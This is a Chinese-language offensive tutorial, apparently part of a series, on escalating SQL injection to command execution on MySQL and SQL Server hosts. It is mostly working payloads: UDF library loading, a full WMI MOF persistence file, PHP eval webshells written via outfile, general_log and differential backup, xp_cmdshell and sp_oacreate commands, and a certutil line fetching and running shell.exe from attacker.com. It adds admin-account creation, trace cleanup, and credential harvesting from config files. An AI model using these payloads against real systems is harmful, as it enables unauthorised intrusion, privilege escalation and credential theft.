前三篇解决的是"把数据读出来"。这一篇解决"从读数据到执行命令、拿服务器"。
能读数据不等于能执行命令,中间隔着好几道门:数据库账号的权限、操作系统对数据库进程的约束、文件系统的写权限。这一篇把每条路的前提条件写清楚,重点是失败了怎么判断卡在哪一道门上。
一、MySQL 提权的几条路
先把全局理一遍,每条路的适用条件和代价不一样:
UDF 提权。加载一个动态链接库,把里面的函数注册成 SQL 函数,直接执行系统命令。前提是能往 plugin_dir 写文件、有 FILE 权限、secure_file_priv 放行。这是最彻底的一条,拿到的是数据库进程权限(Windows 上常常是 SYSTEM)。
MOF 提权。只适用于 Windows,往 WMI 的 mof 目录写文件,靠系统定时执行。前提同样是文件写权限,而且需要写进 System32 下面的目录,门槛比 UDF 高。
写 webshell。用 into outfile 或者日志文件往 web 目录写一个 PHP/JSP 马,然后从 web 访问。这条其实是性价比最高的——不依赖 UDF,不需要写二进制,只要知道 web 的绝对路径。
日志写文件。general_log 和 slow_query_log 可以指定日志路径,有些版本上这个路径不受 secure_file_priv 限制,是绕过去的一个口子。只能写文本,适合写 webshell,不适合写 dll。
--os-shell。sqlmap 把上面几条自动化了,走 MySQL 时本质上就是写 PHP 文件。
读配置文件。load_file('C:/phpstudy/PHPMail/etc/my.ini') 之类的操作,拿到数据库连接串、其他服务的密码,横向到别的机器。这一步经常被忽略,但收益很高。
数据库外联。如果 3306 直接暴露且知道密码,就不必走注入,操作空间大得多。
判断能走哪条,先跑这几条确认现状:
?id=1' and extractvalue(1,concat(0x7e,current_user()))--+
?id=1' and extractvalue(1,concat(0x7e,@@version))--+
?id=1' and extractvalue(1,concat(0x7e,@@secure_file_priv))--+
?id=1' and extractvalue(1,concat(0x7e,@@plugin_dir))--+
?id=1' and extractvalue(1,concat(0x7e,@@datadir))--+
?id=1' and extractvalue(1,concat(0x7e,@@hostname))--+
current_user() 返回的是 user@host 格式,看是不是 root@localhost。secure_file_priv 是空字符串还是目录还是 NULL,直接决定后面能不能写文件。
二、UDF 提权的原理
2.1 为什么加载一个库就能执行命令
MySQL 支持用户自定义函数(UDF,User Defined Function):把编译好的动态链接库加载进来,库里面导出的函数就能当 SQL 函数调用。
公开的 lib_mysqludf_sys 这个库导出了几个关键函数:
sys_eval(cmd),执行系统命令,返回命令输出(字符串)sys_exec(cmd),执行系统命令,返回退出码(整数)sys_get(key),读取环境变量sys_set(key, value),设置环境变量sys_bineval(addr),在内存里执行代码
之所以能执行命令,是因为这个库在 C 代码里直接调了 system() / popen()。执行命令的不是 MySQL,是加载进来的这个库——MySQL 只是提供了一条"把外部代码装进来并调用"的通道。
2.2 版本分水岭:5.1
这条线必须记住,写错路径整个利用就失败:
MySQL 5.1 之前,CREATE FUNCTION 的 SONAME 可以写任意绝对路径:
create function sys_eval returns string soname 'C:/anywhere/udf.dll';
MySQL 5.1 及之后,SONAME 只接受文件名,数据库会强制到 plugin_dir 下面去找:
select @@plugin_dir; -- 先拿到这个目录
create function sys_eval returns string soname 'udf.dll';
所以 5.1 之后,dll 必须落到 plugin_dir 里,否则报 Can't open shared library 或者 No paths allowed for shared library。
常见的 plugin_dir 默认值(按实际环境为准,一定要查):
- phpStudy 环境:
C:\phpStudy\PHPTutorial\MySQL\lib\plugin\ - MySQL 5.7 Windows 安装版:
C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\ - MySQL 8.0 Windows 安装版:
C:\ProgramData\MySQL\MySQL Server 8.0\Lib\Plugin\ - Linux 包管理安装:
/usr/lib/mysql/plugin/或/usr/lib64/mysql/plugin/
2.3 完整利用链
-- 1. 确认版本、权限、关键目录
select @@version, current_user();
show variables like '%secure%';
select @@plugin_dir;
-- 2. 看有没有现成的自定义函数(别人可能已经装过)
select * from mysql.func;
-- 3. 把 dll 以十六进制写进 plugin 目录
select 0x4d5a90000300000004000000ffff0000b8000000... into dumpfile 'C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll';
-- 4. 注册函数
create function sys_eval returns string soname 'udf.dll';
create function sys_exec returns integer soname 'udf.dll';
-- 5. 执行命令
select sys_eval('whoami');
select sys_eval('net user hacker Passw0rd! /add');
select sys_eval('net localgroup administrators hacker /add');
select sys_eval('ipconfig');
-- 6. 清理痕迹
drop function sys_eval;
drop function sys_exec;
第 3 步的十六进制怎么来:
# Linux/macOS
xxd -p udf.dll | tr -d '\n' | sed 's/^/0x/'
# 或者用 python
python3 -c "print('0x'+open('udf.dll','rb').read().hex())"
2.4 为什么必须用 dumpfile 而不是 outfile
这两个的差别是整个 UDF 提权最容易踩的坑:
INTO OUTFILE 会对内容做转义——遇到 \n、\r、\\、\0 这些字节会写成转义序列,而且每行末尾还会补一个换行符。dll 是二进制,里面必然有这些字节,用 outfile 写出来的文件字节已经变了,CREATE FUNCTION 加载时报格式错误或者直接崩溃。
INTO DUMPFILE 是原样写入,不做任何转换,专门用来写二进制。
select 0x4d5a... into dumpfile 'C:/.../plugin/udf.dll'; -- 二进制,正确
select 0x4d5a... into outfile 'C:/.../plugin/udf.dll'; -- 会被转义,错误
代价是 dumpfile 更"死板":一次只能写一个结果、不会追加、文件已存在时会失败。所以写 dll 必须一次写完。
2.5 权限前提,缺一不可
FILE权限。没有就报Access denied。secure_file_priv放行。空字符串最理想;是具体目录时只能写那个目录;是NULL时完全禁用,这条路直接死。plugin_dir存在且可写。数据库进程用户要能写这个目录。- 注册函数的权限。
CREATE FUNCTION实质是往mysql.func表插数据,需要INSERT权限,实践中基本等同于需要 root。 - 知道绝对路径。写文件必须给绝对路径,
@@datadir和@@plugin_dir就是用来推路径的。
五个条件里,secure_file_priv 是最常卡住的一个。MySQL 5.7 开始这个变量默认不再是空字符串,而是指向一个专用目录(比如 /var/lib/mysql-files/),那个目录通常不是 plugin_dir,于是文件写得到但加载不了。这就是下面 4.3 要解决的问题。
2.6 MySQL 8.0 上的差异
UDF 在 8.0 上依然可用,但有几处不一样,照搬 5.7 的经验会失败:
secure_file_priv的默认限制更严,很多发行版编译时就固定了,改不了。plugin_dir的默认路径和 5.7 不同,一定要重新查。- 8.0 引入了 component 架构,插件的管理方式有变化,但
CREATE FUNCTION ... SONAME这条路还在。 - 部分发行版的 8.0 包在编译时限制了 UDF 加载。
结论:8.0 上先跑一遍第 1 步的确认命令,别假设 5.7 的路径能用。
三、UDF 传不上去 dll 怎么办
这是实战中最常见的卡点。先别急着换思路,按顺序定位原因,很多情况下问题不在"传不上去"而在别的地方。
3.1 先定位到底卡在哪
报 Access denied:没有 FILE 权限,UDF 这条路直接结束,换写 webshell 或 MOF。
secure_file_priv 是 NULL:文件读写被完全禁用,into outfile、into dumpfile、load_file 全部不可用。这条路也结束。
secure_file_priv 是某个目录:能写,但只能写进那个目录。而 plugin_dir 通常不是它,于是"文件写成功了,但加载不到"。这是最典型的失败场景。
报 Can't open shared library:文件确实写到 plugin_dir 了,但内容是坏的。八成是用了 outfile 而不是 dumpfile,或者十六进制在传输中被截断了。回头检查 2.4。
报 No paths allowed for shared library:SONAME 里写了绝对路径。5.1 之后只认文件名,改成 soname 'udf.dll'。
写文件时没报错,但文件不存在:路径错了,或者数据库进程对目标目录没有写权限。先写个测试文件验证路径:
?id=1' union select 1,'test',3 into dumpfile 'C:/phpStudy/PHPTutorial/MySQL/lib/plugin/test.txt'--+
3.2 七条替代路径
第一条:看看目标上是不是已经有现成的。
很多人试都不试就放弃了。先查已注册的函数:
select * from mysql.func;
如果有 sys_eval、sys_exec、cmdshell 之类的,直接调用就行。没有的话,再试试 plugin_dir 下是不是已经躺着某个 udf 库(别人打进过的,或者环境自带的):
create function sys_eval returns string soname 'lib_mysqludf_sys.so';
create function sys_eval returns string soname 'udf.dll';
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
几个常见文件名挨个试一遍,成本极低,收益可能很高。
第二条:直接用 plugin_dir 作为 secure_file_priv 的落点。
如果 secure_file_priv 指向的是一个目录,而那个目录恰好可以当 plugin_dir 用,事情就简单了。虽然改不了 plugin_dir,但可以试试把 dll 写到 secure_file_priv 那个目录,然后用绝对路径注册——5.1 之后不允许绝对路径,所以这条路一般走不通,但值得花一条命令确认。
第三条:改配置文件里的 secure_file_priv。
如果能通过别的方式(比如另一个文件写漏洞、或者已经有 webshell)读到 my.ini / my.cnf 并且能改,把 secure_file_priv 改成空字符串再重启 MySQL,路就通了。前提是你有重启数据库的能力,实战里通常没有。
第四条:用日志文件绕过 secure_file_priv。
general_log_file 和 slow_query_log_file 指定的路径,在很多 MySQL 版本上不受 secure_file_priv 约束。这是绕过去的一个口子:
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
select '<?php @eval($_POST[1]);?>';
set global general_log=off;
select 的那条语句本身会被写进日志,于是 PHP 代码就落到 web 目录里了。
要说清楚它的局限:日志文件里除了我们的 payload,还有时间戳、连接信息、查询语句的格式包装,它是一个文本日志,不是一个干净的二进制文件。所以这个方法能写 webshell(PHP 会忽略 <?php ?> 之外的垃圾),但不能用来写 dll——二进制会被文本格式彻底破坏。
用之前先确认权限,set global 需要 SUPER。
第五条:换一条不需要 dll 的路。
要执行命令,不一定非要 UDF。如果目标是拿服务器权限而不是"必须用数据库执行命令",那写 webshell 更简单:不需要二进制、不需要 plugin_dir、不需要注册函数,只要能往 web 目录写文件就行。
?id=1' union select 1,'<?php @eval($_POST[1]);?>',3 into outfile 'C:/phpStudy/WWW/shell.php'--+
如果 outfile 因为 secure_file_priv 不可用,退回第四条用日志写。
第六条:通过其他漏洞把 dll 落地。
数据库这条路堵死了,不代表目标没有别的入口。文件上传漏洞、任意文件写入、SSRF 配合 Redis 写文件、其他服务的未授权访问——只要能把任意文件写到 plugin_dir,UDF 就成立了。这时候注入只是"确认了数据库存在"的配角,真正干活的是另一个漏洞。
第七条:确认 max_allowed_packet 和杀软。
dll 一般十几到几十 KB,十六进制后翻倍。max_allowed_packet 默认 4MB,通常够用,但如果目标把它调小了,payload 会被截断,写出来的 dll 是残的。先查一下:
?id=1' and extractvalue(1,concat(0x7e,@@max_allowed_packet))--+
另外,Windows 上的杀软会直接删掉写进去的 dll。表现是"写入没报错,注册时报文件不存在"。这种情况要么换免杀的 dll,要么放弃 UDF 走写 webshell。
四、MOF 提权
4.1 原理
Windows 有一套 WMI(Windows Management Instrumentation)机制。系统会周期性地扫描 C:\Windows\System32\wbem\mof\ 目录下的 .mof 文件(MOF 是 Managed Object Format,WMI 的配置描述语言)并执行它们。
mof 文件里可以定义"事件过滤器 + 事件消费者"的组合:当某个 WMI 事件触发时,执行一段 JScript 或 VBScript。把这段脚本写成"添加一个管理员用户",就完成了提权。
关键点是:执行这段脚本的是 WMI 服务,运行在 SYSTEM 权限下,跟 MySQL 没什么关系。MySQL 在这里只负责一件事——把文件写到那个目录。
4.2 利用条件
- 必须是 Windows,Linux 没有 WMI。
- MySQL 有
FILE权限,且secure_file_priv允许写目标路径。 - 能写入
C:\Windows\System32\wbem\mof\。这个目录的权限比较严,通常要求 MySQL 服务以 SYSTEM 或管理员权限运行。 - 杀软不拦截。
客观说,在 Windows Vista/7 之后,MOF 提权的成功率已经很低。这个目录的写权限收紧了,而且 mof 文件执行后会被系统移动到 mof\good 或 mof\bad 目录,痕迹也不像以前那样留着。它更多是面试考点和历史手法,实战中不如 UDF 和写 webshell。
4.3 mof 文件内容
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker Passw0rd! /add\")";
};
instance of __FilterToConsumerBinding
{
Filter = $EventFilter;
Consumer = $Consumer;
};
三段分别对应:定义一个触发条件(系统时间的秒数等于 5 时触发)、定义一个要执行的动作(用 JScript 起一个 shell 执行命令)、把两者绑定起来。
生成十六进制 payload:
mof = open('nullevt.mof','rb').read()
print('0x' + mof.hex())
4.4 写入并触发
?id=1' union select 1,0x23707261676d61206e616d657370616365... ,3 into dumpfile 'C:/Windows/System32/wbem/mof/nullevt.mof'--+
文件名可以随便取,nullevt.mof 是历史遗留的常见名字。写进去之后系统会在几秒内自动执行,不需要额外触发。
验证和清理:
net user # 看 hacker 有没有建出来
net localgroup administrators # 看有没有进管理员组
net user hacker /delete # 清理用户
del C:\Windows\System32\wbem\mof\nullevt.mof
五、--os-shell 提权
这里只写怎么用和失败怎么排查,原理放在第五篇讲 sqlmap 的时候展开。
5.1 利用条件
走 MySQL 时:
- 数据库账号有
FILE权限。 secure_file_priv为空或指向 web 目录。- 知道 web 站点的绝对路径。这是最常见的卡点,sqlmap 会尝试用报错信息、
@@datadir、常见路径字典去猜,猜不中就失败。 - web 目录对数据库进程用户可写。
走 SQL Server 时:
- 账号权限足够开启
xp_cmdshell(通常是sa或sysadmin角色)。
5.2 使用
sqlmap -u "http://target/news.php?id=1" --os-shell
进去之后是一个交互式提示符,直接敲系统命令。sqlmap 会问你要用的语言(PHP/JSP/ASP)和 web 根目录,如果它猜的路径不对,手动指定:
sqlmap -u "http://target/news.php?id=1" --os-shell --web-root "/var/www/html"
相关的几个参数的区别:
--os-cmd=命令,执行单条命令,不进入交互。--os-shell,交互式 shell。--os-pwn,直接反弹一个 Meterpreter 或 shell 出来。--file-write/--file-read,上传下载文件,不执行命令。
5.3 失败怎么排查
--os-shell 失败时 sqlmap 一般会提示原因,对照着看:
提示没有写文件权限,说明 secure_file_priv 是 NULL 或者账号没有 FILE 权限,回去看第三节的替代路径。
提示 web 目录不可写或者找不到路径,说明路径猜错了。这时候去读一下报错页里的物理路径、@@datadir、或者用别的注入点读配置文件,手工确认路径后再指定 --web-root。
提示写文件成功但访问不到,大概率是站库分离——文件写到数据库服务器上了,web 服务器访问不到。判断方法见第三篇 3.2。
六、SQL Server 写 webshell
拿到 sa 或者 sysadmin 权限之后,SQL Server 的利用链比 MySQL 直接,因为 xp_cmdshell 天生就是拿来执行命令的。
6.1 第一步:打开 xp_cmdshell
xp_cmdshell 默认关闭,而且从 SQL Server 2005 开始需要先打开高级选项:
;exec sp_configure 'show advanced options',1;reconfigure--+
;exec sp_configure 'xp_cmdshell',1;reconfigure--+
;exec xp_cmdshell 'whoami'--+
这三条必须用堆叠注入(;),因为 sp_configure 和 reconfigure 都是独立语句,没法用 and 串起来。
回显形如:
nt authority\system
看到 system 就说明命令已经以系统权限在执行了,这一步之后其实已经拿到最高权限,写 webshell 只是为了让操作更方便。
6.2 第二步:写 webshell
方法一,直接 echo 写文件。
;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[1]);?^> > C:\inetpub\wwwroot\shell.php'--+
^ 是 cmd 的转义符。因为 < 和 > 在 cmd 里是重定向符号,要写到文件内容里必须用 ^< 和 ^> 转义,否则命令会变成"从某个文件读入、输出到某个文件",写出来的内容是错的。这个细节不写清楚,很多人第一次会写出一堆空文件。
方法二,certutil 下载免杀马。
;exec master..xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/shell.exe C:\shell.exe'--+
;exec master..xp_cmdshell 'C:\shell.exe'--+
把马放到自己的 HTTP 服务器上,让目标自己下载。好处是绕过了注入 payload 的长度限制。
方法三,差异备份写马。
当 xp_cmdshell 用不了、但数据库权限还在时用这条:
-- 先做一次完整备份,差异备份必须以它为基准
;backup database 目标库 to disk='C:\1.bak'--+
-- 建一张表,把 webshell 的十六进制写进去
;create table cmd(a image)--+
;insert into cmd(a) values(0x3c3f70687020406576616c28245f504f53545b315d293b3f3e)--+
-- 差异备份到 web 目录
;backup database 目标库 to disk='C:\inetpub\wwwroot\shell.php' with differential--+
写出来的 shell.php 里大部分是备份文件的二进制内容,但我们的 <?php ?> 就在里面,PHP 解析时会执行它,其余内容当普通文本输出。能用,但文件很大且不干净,属于没别的办法时的选择。
两个容易搞混的点说清楚:差异备份不需要数据库处于完整恢复模式,SIMPLE 模式下一样能做,只要前面有一次完整备份当基准;需要完整恢复模式的是日志备份(backup log),那是另一种写马方式,原理相同但多一步 alter database 目标库 set recovery full。网上很多教程把两者混在一起写,照着敲容易在第一步就报错。
方法四,sp_oacreate 执行命令。
xp_cmdshell 被管理员删掉时,sp_oacreate(OLE 自动化)是常见的替代:
;exec sp_configure 'show advanced options',1;reconfigure--+
;exec sp_configure 'Ole Automation Procedures',1;reconfigure--+
;declare @o int;exec sp_oacreate 'wscript.shell',@o out;exec sp_oamethod @o,'run',null,'cmd /c echo ^<?php @eval($_POST[1]);?^> > C:\inetpub\wwwroot\shell.php'--+
sp_oacreate 创建 wscript.shell 对象,sp_oamethod 调用它的 run 方法执行命令。
6.3 第三步:从低权到系统权限
如果 xp_cmdshell 执行 whoami 返回的不是 system 而是 nt authority\network service 之类的低权账号,还需要本地提权。这一步已经超出 SQL 注入的范围,只给方向:
;exec xp_cmdshell 'whoami /priv'--+
;exec xp_cmdshell 'systeminfo'--+
;exec xp_cmdshell 'net localgroup administrators'--+
拿到这些信息后,Windows 本地提权的常规方向是:Potato 系列(JuicyPotato、RottenPotato、SweetPotato、PrintSpoofer、GodPotato,按系统版本选)、可写的服务二进制路径、计划任务、注册表里的 AlwaysInstallElevated、未打补丁的本地提权漏洞。
七、拿到 shell 之后先干什么
不管拿的是 Windows 还是 Linux 的低权 shell,别急着提权,先做信息收集。很多提权路径是收集出来的,不是猜出来的。
Windows:
whoami /all
systeminfo
net user
net localgroup administrators
ipconfig /all
tasklist /svc
netstat -ano
重点看:当前账号在不在管理员组、系统补丁打了多少、有没有可写的服务目录、有没有连到内网的数据库或其他服务。
Linux:
id
uname -a
cat /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/null # SUID
cat /etc/crontab; ls -la /etc/cron* # 计划任务
ss -lntp
重点看:sudo -l 有没有可免密执行的命令、SUID 文件里有没有可利用的、计划任务里的脚本能不能改、内核版本对应哪个漏洞。
最后一句实际的话:拿到数据库权限之后,优先考虑能不能横向。数据库配置文件里通常躺着其他系统的连接串,load_file 读一下 my.ini、application.yml、config.php、.env,经常能直接捡到别的机器的密码。这条路的性价比,往往比在一个难啃的目标上死磕提权更高。
下一篇讲 sqlmap:它是怎么判断注入的、--os-shell 到底在背后做了什么、以及最实际的——怎么从流量侧识别 sqlmap,反过来就是怎么用让它不那么容易被认出来。